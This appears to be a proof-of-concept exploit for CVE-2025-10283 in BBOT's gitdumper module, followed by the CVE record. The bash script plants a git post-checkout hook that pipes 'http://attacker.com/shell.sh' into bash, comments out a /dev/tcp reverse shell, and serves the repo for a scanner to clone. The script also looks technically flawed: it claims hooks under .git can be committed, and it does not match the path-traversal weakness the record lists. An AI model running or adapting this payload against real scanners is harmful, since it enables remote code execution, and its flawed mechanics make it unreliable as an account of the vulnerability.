CVE-2025-10283

# CVE-2025-10283 - BBOT gitdumper RCE PoC # Create a malicious git repository with a post-checkout hook # Step 1: Create the malicious repository mkdir malicious-repo cd malicious-repo git init # Step 2: Create a malicious post-checkout hook mkdir -p .git/hooks cat > .git/hooks/post-checkout << 'EOF' #!/bin/bash # Malicious payload - executes when the repo is cloned/checked out curl http://attacker.com/shell.sh | bash # Or simpler: reverse shell # bash -i >& /dev/tcp/attacker.com/4444 0>&1 EOF chmod +x .git/hooks/post-checkout # Step 3: Commit the hook (hooks are not tracked by default, but can be forced) git add . git commit -m "initial commit" # Step 4: Host the repository (e.g., via git daemon or HTTP) # Start a simple HTTP server to serve the repo git daemon --base-path=. --export-all & # Step 5: Trigger - When BBOT scans this repo with gitdumper module: # bbot -t http://attacker.com/malicious-repo.git -m gitdumper # The post-checkout hook will execute automatically during clone echo "[*] Malicious repo ready. Wait for BBOT gitdumper to clone it."

{"cve": {"id": "CVE-2025-10283", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:43.947", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "BBOT's gitdumper module could be abused to execute commands through a malicious git repository."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://blog.blacklanternsecurity.com/p/bbot-security-advisory-gitdumper", "source": "[email protected]"}]}}